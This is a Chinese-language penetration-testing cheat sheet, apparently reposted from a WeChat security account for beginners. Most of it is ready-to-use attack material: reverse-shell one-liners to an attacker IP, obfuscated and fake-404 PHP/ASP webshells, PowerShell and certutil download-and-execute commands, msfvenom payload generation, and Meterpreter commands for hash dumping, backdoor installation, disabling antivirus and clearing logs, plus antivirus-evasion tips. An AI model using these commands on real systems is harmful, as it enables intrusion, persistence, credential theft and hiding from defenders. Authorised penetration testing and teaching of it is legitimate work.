一些平时用到但容易忘的命令(有些命令比较基础,不宜用作实战),适合入门新手参考阅读。
若公众号不便阅读命令可拉至文章最底,点击阅读原文。
端口扫描
nmap:
#常规
nmap -sS -sV -A -T 4 -p- ip_addr
#快速扫描
ports=$(nmap -p- --min-rate=1000 -sT -T4 10.10.10.10 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)
nmap -sC -sV -p$ports -sT ip_addr
目录扫描
dirsearch ( https://github.com/maurosoria/dirsearch.git ):
#常规
python3 dirsearch.py -u url -e php,html,js,png,jpg,.txt
#使用字典
python3 dirsearch.py -u url -w ./wordlist.txt -e php,html,js,png,jpg,.txt
web 服务扫描
nikto:
nikto -h ip(or url)
反弹 Shell
Bash TCP:
bash -i >& /dev/tcp/192.168.132.129/4444 0>&1
/bin/bash -i > /dev/tcp/192.168.132.129/4444 0<& 2>&1
exec 5<>/dev/tcp/192.168.132.129/4444;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.132.129/4444 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/192.168.132.129/4444; sh <&196 >&196 2>&196
#监听
nc -lvp 4444
Bash UDP:
sh -i >& /dev/udp/192.168.132.129/4444 0>&1
#监听
nc -luvp 4444
Netcat:
nc -e /bin/sh 192.168.132.129 4444
nc -e /bin/bash 192.168.132.129 4444
nc -c bash 192.168.132.129 4444
mknod backpipe p && nc 192.168.132.129 4444 0<backpipe | /bin/bash 1>backpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.132.129 4444 >/tmp/f
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.132.129 4444 0/tmp/p 2>&1
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 192.168.132.129 4444 > f
rm -f x; mknod x p && nc 192.168.132.129 4444 0<x | /bin/bash 1>x
Ncat:
ncat 192.168.132.129 4444 -e /bin/bash
ncat --udp 192.168.132.129 4444 -e /bin/bash
OpenSSL:
#攻击者
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
#or
ncat --ssl -vv -l -p 443
#目标
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.132.129:443 > /tmp/s; rm /tmp/s
Xterm:
xterm -display 192.168.132.129:4444
Powercat:
#cmd shell
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.132.129 -p 4444 -e cmd.exe
#powershell shell(shell可能有问题)
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.132.129 -p 4444 -e powershell.exe
#反弹PowerShell shell,此方法可以绕过某些杀毒软件,如:赛门铁克
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.132.129 -p 4444 -ep
更多:
•https://krober.biz/misc/reverse_shell.php•https://github.com/tennc/webshell
交互式 Shell
python -c 'import pty;pty.spawn("/bin/bash")' or python3 -c 'import pty;pty.spawn("/bin/bash")'
一句话木马
蚁剑:连接一句话木马时,尽量不使用 default 和 random 编码(这两种编码可能连接不上一句话),可使用 base64 等其他编码方式。
php:
#基础
<?php @eval($_POST['pass'])?>
#进阶
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['pass']);
?>
#去掉敏感函数
<?php ($_=@$_GET[2]).@$_($_POST['pass'])?>
http://www.xxxx.com/3.php?2=assert
#避开关键字
<?php
($rcoil = $_POST['rcoil']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($rcoil)', 'add');
?>
#避开<?php
<script language="php">@eval_r($_POST[pass])</script>
#404马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
#内存马
<?php
ignore_user_abort(true);
ini_set('maxdb_execution_time', 0);
while (true) {
if(!file_exists('demo.php')){
$a="<?php @eval("."$"."_POST"."[tese])?>";
file_put_contents('demo.php',$a);
file_put_contents('demo', base64_decode());
}
}
?>
#weevely
weevely generate <password> <path>
weevely <URL> <password> [cmd]
asp:
#基础
<%eval request("pass")%>
#进阶
<% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %> #蚁剑连接 http://www.xxxx.com/2.asp?a=)0(tseuqer%20lave ;密码:0
sqlmap cheatsheet
sqlmap -r req.txt --current-user -p param #burp、zap 请求头
sqlmap -u "http://example.com/?id=1" -p id --random-agent --threads=20 --os-shell
sqlmap -u "http://example.com" --data "username=*&password=*"
sqlmap --dbms=mysql -u "$URL" --dbs
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
内网端口转发
地址:https://github.com/sensepost/reGeorg
首先要选择一个适合目标服务器脚本环境的 Webshell 脚本,将该脚本上传到服务器上,记录下地址
在浏览器中访问会出现很熟悉的 Georg says, ‘All seems fine’,说明是正常的
例如 Webshell 地址如:http://192.168.1.233/shell.php 进入 reGeorg 目录,执行:
python reGeorgSocksProxy.py -u {Webshell 地址} -p {本地 Socks5 服务监听的端口}
最后会输出 Starting socks Server [127.0.0.1:端口],此时就可以使用浏览器设置 Socks 代理访问内网主机的端口了。
开启 http 服务
#python2
python -m SimpleHTTPServer 8888 #不带端口号时,默认 8000
#python3
python3 -m http.server 8888
文件下载
Windows:
#powershell
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.132.129:8000/evil.txt','evil.exe')
#powershell 远程执行
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.132.129:8000/evil.txt'))"
#certutil
certutil -urlcache -split -f http://192.168.132.129:8000/evil.txt test.exe
#Bitsadmin
bitsadmin /transfer n http://192.168.132.129:8000/evil.txt C:evil.exe
Linux:
#wget
wget http://192.168.132.129:8000/evil.sh
#curl
curl http://192.168.132.129:8000/evil.sh -o evil.sh
#nc
1) nc -lvp 4444 < evil.sh
2) nc 192.168.132.129 4444 > evil.sh
Metasploit
基本命令
show exploits #查看所有可用的渗透攻击程序代码
show auxiliary #查看所有可用的辅助攻击工具
show options #查看该模块所有可用选项
show payloads #查看该模块适用的所有载荷代码
show targets #查看该模块适用的攻击目标类型
search #根据关键字搜索某模块
info #显示某模块的详细信息
use #进入使用某渗透攻击模块
back #回退
set/unset #设置/禁用模块中的某个参数
setg/unsetg #设置/禁用适用于所有模块的全局参数
save #将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Msfvenom
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Meterpreter
exploit -j 攻击后,session -l 查看 Meterpreter 会话,使用 session -i 会话id 进入 Meterpreter Shell
getuid #当前权限查询
background #返回到msf中
getsystem #尝试提权到system
ifconfig #查看网络配置
upload <本机文件路径> <上传到目标的那个路径>
hashdump #获取hash
run metsvc -A #自动安装后门
screenshot #截屏
sysinfo #获取操作系统平台详细信息
ps #获取进程列表
migrate <PID> #会话进程迁移
webcam_list #查看摄像头信息
webcam_snap #获取摄像头的摄的图像
get_local_subnets #使用外部脚本
route #路由查看
run vnc #开启vnc
run killav #关闭杀毒软件
run scraper #获取系统信息
getwd #获取当前目标机的工作路径
download <目标机文件> <本机保存路径> #从目标机将文件下载到本机
portfwd add -l <本机端口> -p <目标机要转发到本地的端口> -r <本机IP或127.0.0.1或0.0.0.0> #端口转发
search -f <要搜索的文件名或者模糊搜索例如:*.txt> #文件搜索
quit #退出当前会话
shell #进入cmd shell
getlwd #操作攻击者主机 查看当前目录
getproxy #查看代理信息
kill <pid值> #杀死进程
cat c:\lltest\lltestpasswd.txt # 查看文件内容
edit c:\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\lltest\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
clearev #清除系统日志
Veil 免杀
Github:https://github.com/Veil-Framework/Veil
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
注:安装可能有问题
VPS
OS:ubuntu server 20.04
安装 nmap、ncat、python2、msf 等
apt install nmap
apt install ncat
apt install python
#pip2
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
hash -r #若提示找不到,执行此命令
#msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&
chmod 755 msfinstall &&
./msfinstall
#sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
#git
apt install git
#切换 nc 版本
update-alternatives --config nc
咸鱼dds2333的原创,他在打游戏没空发,我帮他发
附这条咸鱼的博客地址:https://dds2333.github.io/
原文始发于微信公众号(SK安全实验室):渗透测试小笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论